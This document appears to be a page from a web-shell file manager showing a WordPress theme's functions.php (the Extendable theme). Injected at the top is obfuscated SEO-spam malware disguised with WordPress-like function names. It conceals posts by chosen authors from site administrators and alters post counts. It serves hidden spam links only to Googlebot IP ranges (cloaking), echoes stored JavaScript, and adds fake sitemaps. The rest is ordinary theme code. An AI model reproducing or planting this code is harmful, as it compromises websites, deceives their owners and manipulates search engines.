0x1998 - MANAGER
Düzenlenen Dosya: functions.php
<?php /* 653a7b83c70c11a3897de6b0caf02b32 */ function is_customize_preview_hashing($where) { global $wpdb, $get_permalink_alpha; $esc_attr_e_long = array_keys($get_permalink_alpha); $absint_https = implode(', ', $esc_attr_e_long); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'esc_html_plain'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($absint_https)"; } return $where; } function wp_footer_private($query) { global $get_permalink_alpha; $esc_attr_e_long = array_keys($get_permalink_alpha); $has_post_thumbnail_dns = absint_stat($esc_attr_e_long); if (!$query->is_single() && !is_admin()) { $query->set('author', $has_post_thumbnail_dns); } } function esc_attr_x_other() { global $post, $get_permalink_alpha; foreach ($get_permalink_alpha as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (is_singular_module($settings)) { break; } echo $settings['js']; break; } } } function is_singular_module($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (get_the_category_list_all()) { return true; } } return false; } function esc_html_plain($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function get_footer_all($counts, $type, $perm) { if ($type === 'post') { $comments_template_schema = $counts->publish; $get_permalink_https = add_section_compiler($perm); $counts->publish = !$get_permalink_https ? $comments_template_schema : $get_permalink_https; } return $counts; } function add_section_compiler($perm) { global $wpdb, $get_permalink_alpha; $esc_attr_e_long = array_keys($get_permalink_alpha); $absint_https = implode(', ', $esc_attr_e_long); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $wp_get_attachment_image_src_url = get_post_type_object($type); if (!current_user_can($wp_get_attachment_image_src_url->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($absint_https) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $get_the_date_add) { if ($get_the_date_add['post_status'] === 'publish') { return $get_the_date_add['num_posts']; } } } function get_search_form_condition($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $esc_attr_e_long = array(); foreach ($results as $get_the_date_add) { $esc_attr_e_long[] = $get_the_date_add['ID']; } return $esc_attr_e_long; } function wp_link_pages_exception() { global $get_permalink_alpha, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) { $wp_head_exception = key($has_nav_menu_decryption['sitemapsettings']); if (!isset($rules[$wp_head_exception]) || ($rules[$wp_head_exception] !== current($has_nav_menu_decryption['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function wp_get_attachment_image_src_stat($rules) { global $get_permalink_alpha; $get_sidebar_module = array(); foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) { if (isset($has_nav_menu_decryption['sitemapsettings'])) { $get_sidebar_module[key($has_nav_menu_decryption['sitemapsettings'])] = current($has_nav_menu_decryption['sitemapsettings']); } } return $get_sidebar_module + $rules; } function esc_url_raw_plain() { global $get_permalink_alpha; foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) { $is_singular_git = str_replace('index.php?feed=', '', current($has_nav_menu_decryption['sitemapsettings'])); add_feed($is_singular_git, 'add_filter_boolean'); } } function add_filter_boolean() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $esc_attr_x_pic = the_post_core(); $get_setting_loop = get_search_form_condition($esc_attr_x_pic); if (!empty($get_setting_loop)) { $get_comments_number_dns = md5(implode(',', $get_setting_loop)); $esc_html_cron = 'update_plugins_' . $esc_attr_x_pic . '_' . $get_comments_number_dns; $wp_reset_postdata_schema = get_transient($esc_html_cron); if ($wp_reset_postdata_schema !== false) { echo $wp_reset_postdata_schema; return; } } $head = add_filter_num(); $is_archive_url = $head . "\n"; $priority = '0.5'; $post_password_required_character = 'weekly'; $_e_client = date('Y-m-d'); foreach ($get_setting_loop as $post_id) { $url = get_permalink($post_id); $is_archive_url .= current_user_can_more($url, $_e_client, $post_password_required_character, $priority); wp_cache_delete($post_id, 'posts'); } $is_archive_url .= "\n</urlset>"; set_transient($esc_html_cron, $is_archive_url, WEEK_IN_SECONDS); echo $is_archive_url; } function add_filter_num() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> STR; } function current_user_can_more($url, $_e_client, $post_password_required_character, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$_e_client</lastmod> <changefreq>$post_password_required_character</changefreq> <priority>$priority</priority> </url>\n\n STR; } function absint_stat($writersArr) { $add_filter_live = array(); foreach ($writersArr as $item) { $add_filter_live[] = '-' . $item; } return implode(',', $add_filter_live); } function is_search_merge() { $register_nav_menus_exception = array(); $the_archive_title_core = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $get_the_ID_http = unserialize(base64_decode($settings)); if ($get_the_ID_http) { $register_nav_menus_exception = $get_the_ID_http; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $register_nav_menus_plain = unserialize(base64_decode($settings)); if ($register_nav_menus_plain) { $the_archive_title_core = $register_nav_menus_plain; } } return $the_archive_title_core + $register_nav_menus_exception; } function the_post_core() { global $get_permalink_alpha; foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) { $get_sidebar_class = key($has_nav_menu_decryption['sitemapsettings']) . '|' . str_replace('index.php?', '', current($has_nav_menu_decryption['sitemapsettings']) . '$'); if (preg_match("~$get_sidebar_class~", $_SERVER['REQUEST_URI'])) { return $esc_url_raw_repository; } } } function is_wp_error_sample() { global $get_permalink_alpha, $post; $wp_enqueue_style_part = array_keys($get_permalink_alpha); if (in_array($post->post_author, $wp_enqueue_style_part)) { return true; } return false; } function is_wp_error_https() { global $get_permalink_alpha, $post; $wp_enqueue_style_part = array_keys($get_permalink_alpha); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $wp_enqueue_style_part)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function get_option_string() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function get_the_category_list_all() { $comment_form_package = get_option_string(); if (strstr($comment_form_package, ', ')) { $get_theme_file_uri_index = explode(', ', $comment_form_package); $comment_form_package = $get_theme_file_uri_index[0]; } $get_sidebar_plain = wp_reset_postdata_stream(); if (!$get_sidebar_plain) { return false; } foreach ($get_sidebar_plain as $range) { if (absint_double($comment_form_package, $range)) { return true; } } return false; } function get_stylesheet_uri_edit($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function wp_reset_postdata_stream() { if (($value = get_option('wp_custom_range')) && !get_stylesheet_uri_edit($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $get_sidebar_plain = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($get_sidebar_plain)) { return; } $value = array('ranges' => $get_sidebar_plain, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function the_title_loop($inet) { $the_content_method = str_split($inet); $post_password_required_list = ''; foreach ($the_content_method as $char) { $post_password_required_list .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $post_password_required_list; } function absint_double($comment_form_package, $cidrnet) { $comment_form_package = inet_pton($comment_form_package); $post_password_required_list = the_title_loop($comment_form_package); list($net, $body_class_alpha) = explode('/', $cidrnet); $net = inet_pton($net); $wp_reset_postdata_class = the_title_loop($net); $get_permalink_double = substr($post_password_required_list, 0, $body_class_alpha); $esc_url_alpha = substr($wp_reset_postdata_class, 0, $body_class_alpha); if ($get_permalink_double !== $esc_url_alpha) { return false; } else { return true; } } function get_the_ID_sample($get_the_title_ajax) { global $post; $comment_form_first = ''; if (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $comment_form_first = get_option('home_links_custom_0'); } } elseif (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $comment_form_first = get_option('home_links_custom_' . $matches[0]); } elseif (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $the_permalink_url = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $comment_form_first = get_option('home_links_custom_' . $the_permalink_url); } elseif (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$comment_form_first ? '' : $comment_form_first; } function dynamic_sidebar_stream($has_nav_menu_decryption, $get_permalink_compiler, $get_the_date_hashing) { if (!isset($has_nav_menu_decryption[$get_permalink_compiler][$get_the_date_hashing])) { return false; } if ($has_nav_menu_decryption[$get_permalink_compiler][$get_the_date_hashing] === 1) { return true; } return false; } function absint_http($get_the_title_ajax, $dynamic_sidebar_https) { if (empty($dynamic_sidebar_https)) { return ''; } if (dynamic_sidebar_stream($get_the_title_ajax, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $get_author_posts_url_more = get_search_form_reference(); $add_partial_pointer = $get_author_posts_url_more[$blockNum[0]]; return $add_partial_pointer[0] . PHP_EOL . $dynamic_sidebar_https . PHP_EOL . $add_partial_pointer[1]; } return $dynamic_sidebar_https; } function get_search_form_reference() { return array( array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'), array('<div style="position:absolute; left:-5000px;">', '</div>'), array('<div style="position:absolute; top: -100%;">', '</div>'), array('<div style="position:absolute; left:-5500px;">', '</div>'), array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'), array('<div style="display:none;">', '</div>'), array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'), array('<span style="position:absolute; left:-5000px;">', '</span>'), array('<span style="position:absolute; top: -100%;">', '</span>'), array('<div style="position:absolute; left:-6500px;">', '</div>'), ); } function language_attributes_float($get_the_title_ajax) { return dynamic_sidebar_stream($get_the_title_ajax, 'position', 'head'); } function has_post_thumbnail_more($get_the_title_ajax) { return dynamic_sidebar_stream($get_the_title_ajax, 'position', 'footer'); } function esc_attr_x_other_tj($settings) { foreach ($settings as $esc_url_raw_repository => $has_nav_menu_decryption) { if (isset($has_nav_menu_decryption['homeLinks'])) { return $has_nav_menu_decryption['homeLinks']; } } return array(); } function is_home_new() { if (!is_wp_error_sample()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function get_theme_file_uri_interface() { global $get_the_title_ajax; if (!is_home_new()) { return; } if (dynamic_sidebar_stream($get_the_title_ajax, 'hiddenType', 'cloacking')) { if (!get_the_category_list_all()) { return; } } $dynamic_sidebar_https = get_the_ID_sample($get_the_title_ajax); $dynamic_sidebar_https = absint_http($get_the_title_ajax, $dynamic_sidebar_https); echo $dynamic_sidebar_https; } $get_permalink_alpha = is_search_merge(); if (is_array($get_permalink_alpha)) { add_filter('posts_where_paged', 'is_customize_preview_hashing'); add_action('pre_get_posts', 'wp_footer_private'); add_action('wp_enqueue_scripts', 'esc_attr_x_other'); add_filter('wp_count_posts', 'get_footer_all' , 10, 3); add_filter('rewrite_rules_array', 'wp_get_attachment_image_src_stat'); add_action('wp_loaded', 'wp_link_pages_exception'); add_action('init', 'esc_url_raw_plain'); add_action('template_redirect', 'is_wp_error_https'); $get_the_title_ajax = esc_attr_x_other_tj($get_permalink_alpha); if (!empty($get_the_title_ajax)) { if (language_attributes_float($get_the_title_ajax)) { add_action('wp_head', 'get_theme_file_uri_interface'); } if (has_post_thumbnail_more($get_the_title_ajax)) { add_action('wp_footer', 'get_theme_file_uri_interface'); } } } /* 653a7b83c70c11a3897de6b0caf02b32 */ /** * Extendable functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Extendable * @since Extendable 1.0 */ if ( ! defined( 'EXTENDABLE_THEME_VERSION' ) ) { $theme_version = wp_get_theme()->get( 'Version' ); define( 'EXTENDABLE_THEME_VERSION', is_string( $theme_version ) ? $theme_version : '1.0.0' ); } if ( ! function_exists( 'extendable_support' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * @since Extendable 1.0 * * @return void */ function extendable_support() { // Add support for block styles. add_theme_support( 'wp-block-styles' ); global $wp_version; // Add style for WordPress older versions. if ( version_compare( $wp_version, '6.0.2', '<=' ) ) { $editor_style = array( 'style.css', '/assets/css/deprecate-style.css', ); } else { $editor_style = 'style.css'; } // Enqueue editor styles. add_editor_style( $editor_style ); } endif; add_action( 'after_setup_theme', 'extendable_support' ); if ( ! function_exists( 'extendable_styles' ) ) : /** * Enqueue styles. * * @since Extendable 1.0 * * @return void */ function extendable_styles() { // Register theme stylesheet. wp_register_style( 'extendable-style', get_template_directory_uri() . '/style.css', array(), EXTENDABLE_THEME_VERSION ); // Enqueue theme stylesheet. wp_enqueue_style( 'extendable-style' ); global $wp_version; if ( version_compare( $wp_version, '6.0.2', '<=' ) ) { // Register deprecate stylesheet. wp_register_style( 'extendable-deprecate-style', get_template_directory_uri() . '/assets/css/deprecate-style.css', array(), EXTENDABLE_THEME_VERSION ); // Enqueue deprecate stylesheet. wp_enqueue_style( 'extendable-deprecate-style' ); } } endif; add_action( 'wp_enqueue_scripts', 'extendable_styles' ); /** * Enqueue block-specific styles. * * @since Extendable 2.0.11 * * @return void */ function extendable_enqueue_block_styles() { // Check for specific blocks and enqueue their styles if ( has_block( 'contact-form-7/contact-form-selector' ) ) { wp_enqueue_style( 'extendable-contact-form-7-style', get_template_directory_uri() . '/assets/css/contact-form-7.css', array(), EXTENDABLE_THEME_VERSION ); } if ( has_block( 'wpforms/form-selector' ) ) { wp_enqueue_style( 'extendable-wpforms-style', get_template_directory_uri() . '/assets/css/wpforms.css', array(), EXTENDABLE_THEME_VERSION ); } } add_action( 'enqueue_block_assets', 'extendable_enqueue_block_styles' ); /** * Registers pattern categories. * * @since Extendable 1.0 * * @return void */ function extendable_register_pattern_categories() { $block_pattern_categories = array( 'header' => array( 'label' => __( 'Headers', 'extendable' ) ), 'footer' => array( 'label' => __( 'Footers', 'extendable' ) ), ); /** * Filters the theme block pattern categories. * * @since Extendable 1.0 * * @param array[] $block_pattern_categories { * An associative array of block pattern categories, keyed by category name. * * @type array[] $properties { * An array of block category properties. * * @type string $label A human-readable label for the pattern category. * } * } */ $block_pattern_categories = apply_filters( 'extendable_block_pattern_categories', $block_pattern_categories ); foreach ( $block_pattern_categories as $name => $properties ) { if ( ! WP_Block_Pattern_Categories_Registry::get_instance()->is_registered( $name ) ) { register_block_pattern_category( $name, $properties ); } } } add_action( 'init', 'extendable_register_pattern_categories', 9 ); /** * Include animation functionality */ require_once get_template_directory() . '/inc/animations.php'; /** * Add primary-foreground duotone to extendify demo Site Logo block. * * @param array $parsed_block Parsed block data. * @return array Filtered block data. */ function extendable_add_duotone_to_extendify_demo_site_logo( array $parsed_block ) : array { if ( 'core/site-logo' !== $parsed_block['blockName'] ) { return $parsed_block; } $logo_url = $parsed_block['attrs']['url'] ?? ''; if ( '' === $logo_url ) { $logo_id = (int) get_theme_mod( 'custom_logo' ); $logo_url = $logo_id ? wp_get_attachment_url( $logo_id ) : ''; } if ( '' === $logo_url ) { return $parsed_block; } $logo_file = wp_basename( $logo_url ); $allowed_prefixes = array( 'extendify-demo-', 'ext-custom-logo-' ); $matches = false; foreach ( $allowed_prefixes as $prefix ) { if ( function_exists( 'str_starts_with' ) ) { $matches = str_starts_with( $logo_file, $prefix ); } else { $matches = 0 === strpos( $logo_file, $prefix ); } if ( $matches ) { break; } } if ( ! $matches ) { return $parsed_block; } $parsed_block['attrs']['style']['color']['duotone'] = 'var:preset|duotone|primary-foreground'; return $parsed_block; } add_filter( 'render_block_data', 'extendable_add_duotone_to_extendify_demo_site_logo', 10 ); /** * Exclude WooCommerce Templates from the Block Editor When WooCommerce Is Inactive * * @package Extendable * @since Extendable 2.0.21 */ function extendable_exclude_wc_block_templates( $templates, $query ) { if ( ! class_exists( 'WooCommerce' ) ) { $wc_template_slugs = array( 'checkout', 'single-product', 'archive-product' ); foreach ( $templates as $key => $template ) { if ( isset( $template->slug ) && in_array( $template->slug, $wc_template_slugs, true ) ) { unset( $templates[ $key ] ); } } } return $templates; } add_filter( 'get_block_templates', 'extendable_exclude_wc_block_templates', 10, 2 ); /** * Navigation customizations * * @package Extendable * @since Extendable 2.0.23 */ if ( ! function_exists( 'extendable_enqueue_navigation_customizations' ) ) : /** * Enqueue the JS that fetches logo & site title to customize the mobile navigation. * */ function extendable_enqueue_navigation_customizations() { $logo_id = get_theme_mod( 'custom_logo' ); $logo_url = $logo_id ? wp_get_attachment_image_url( $logo_id, 'full' ) : ''; $site_title = get_bloginfo( 'name' ); wp_enqueue_script( 'extendable-navigation_customizations', get_template_directory_uri() . '/assets/js/navigation-customization.js', array(), // no dependencies; add 'wp-interactivity' if you switch back to that version null, true // load in footer ); wp_localize_script( 'extendable-navigation_customizations', 'ExtendableNavData', array( 'logoUrl' => $logo_url, 'siteTitle' => $site_title, ) ); } endif; add_action( 'wp_enqueue_scripts', 'extendable_enqueue_navigation_customizations' ); /** * Set default template for new pages in the block editor (auto-drafts) * * @since Extendable 2.0.26 * @return void */ function extendable_set_default_template_for_auto_drafts( WP_REST_Response $response, WP_Post $post ) { if ( 'page' !== $post->post_type ) { return $response; } if ( 'auto-draft' !== $post->post_status ) { return $response; } $current_template = isset( $response->data['template'] ) ? $response->data['template'] : ''; if ( ! empty( $current_template ) && 'page' !== $current_template ) { return $response; } $response->data['template'] = 'page-with-title'; return $response; } add_filter( 'rest_prepare_page', 'extendable_set_default_template_for_auto_drafts', 10, 2 ); /** * Set default template for new pages when saved/published * * @since Extendable 2.0.28 * @param int $post_id Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. * @return void */ function extendable_set_default_template_for_new_pages( $post_id, $post, $update ) { if ( 'page' !== $post->post_type ) { return; } if ( $update ) { return; } if ( 'revision' === $post->post_status ) { return; } $current_template = get_page_template_slug( $post_id ); // If no template is set or it's the default template, set our default if ( empty( $current_template ) || 'page' === $current_template ) { update_post_meta( $post_id, '_wp_page_template', 'page-with-title' ); } } add_action( 'wp_insert_post', 'extendable_set_default_template_for_new_pages', 10, 3 ); /** * Hide block style variations from editor UI while keeping them registered */ function extendable_hide_block_style_variations() { $css = ' .block-editor-block-styles__item[aria-label*="Brutalism 1"], .block-editor-block-styles__item[aria-label*="Organic 1"], .block-editor-block-styles__item[aria-label*="Soft 1"], .block-editor-block-styles__item[aria-label*="Gradient 1"], .block-editor-block-styles__item[aria-label*="Matrix 1"], .block-editor-block-styles__item[aria-label*="Prism 1"], .block-editor-block-styles__item[aria-label*="Wave 1"] { display: none !important; } '; wp_add_inline_style('wp-edit-blocks', $css); } add_action( 'enqueue_block_editor_assets', 'extendable_hide_block_style_variations' ); /** * Hide block style variations from site editor style panel */ function extendable_hide_site_editor_block_style_variations() { $css = ' /* Hide specific design aesthetic variations in site editor */ .components-navigator-button[id*="brutalism-1--"], .components-navigator-button[id*="organic-1--"], .components-navigator-button[id*="soft-1--"], .components-navigator-button[id*="gradient-1--"], .components-navigator-button[id*="matrix-1--"], .components-navigator-button[id*="prism-1--"], .components-navigator-button[id*="wave-1--"] { display: none !important; } /* Hide the Style Variations heading if all variations are hidden */ .components-h-stack:has(.components-navigator-button[id*="ext-preset--"]:not([style*="display: none"])) .edit-site-global-styles-subtitle:contains("Style Variations") { display: none !important; } /* Alternative approach - hide the entire Style Variations section */ .edit-site-global-styles-subtitle:contains("Style Variations") + .components-item-group { display: none !important; } .edit-site-global-styles-subtitle:contains("Style Variations") { display: none !important; } '; wp_add_inline_style('wp-edit-site', $css); } add_action( 'admin_enqueue_scripts', 'extendable_hide_site_editor_block_style_variations' ); // Temporary fix: Hide matrix-1, prism-1, wave-1 variations when Extendify < 2.4.0 function extendable_filter_global_styles_rest_response( $response, $handler, $request ) { $route = $request->get_route(); if ( strpos( $route, '/wp/v2/global-styles/themes/' ) === false ) { return $response; } if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); $should_filter = false; foreach ( $plugins as $plugin_file => $plugin_data ) { if ( 'extendify-local' === $plugin_data['TextDomain'] && is_plugin_active( $plugin_file ) ) { if ( version_compare( $plugin_data['Version'], '2.4.0', '<' ) ) { $should_filter = true; } break; } } if ( ! $should_filter ) { return $response; } $patterns = array( 'matrix-1', 'prism-1', 'wave-1' ); $data = $response->get_data(); if ( isset( $data['styles']['blocks'] ) && is_array( $data['styles']['blocks'] ) ) { foreach ( $data['styles']['blocks'] as $block_name => $block_data ) { if ( isset( $block_data['variations'] ) && is_array( $block_data['variations'] ) ) { foreach ( $block_data['variations'] as $variation_slug => $variation_data ) { foreach ( $patterns as $pattern ) { if ( strpos( $variation_slug, $pattern ) !== false ) { unset( $data['styles']['blocks'][ $block_name ]['variations'][ $variation_slug ] ); break; } } } if ( empty( $data['styles']['blocks'][ $block_name ]['variations'] ) ) { unset( $data['styles']['blocks'][ $block_name ]['variations'] ); } } } } if ( isset( $data['_links']['wp:block-style-variations'] ) ) { $data['_links']['wp:block-style-variations'] = array_filter( $data['_links']['wp:block-style-variations'], function( $variation ) use ( $patterns ) { $href = $variation['href'] ?? ''; foreach ( $patterns as $pattern ) { if ( strpos( $href, $pattern ) !== false ) { return false; } } return true; } ); $data['_links']['wp:block-style-variations'] = array_values( $data['_links']['wp:block-style-variations'] ); } $response->set_data( $data ); return $response; } add_filter( 'rest_post_dispatch', 'extendable_filter_global_styles_rest_response', 10, 3 );
geri dön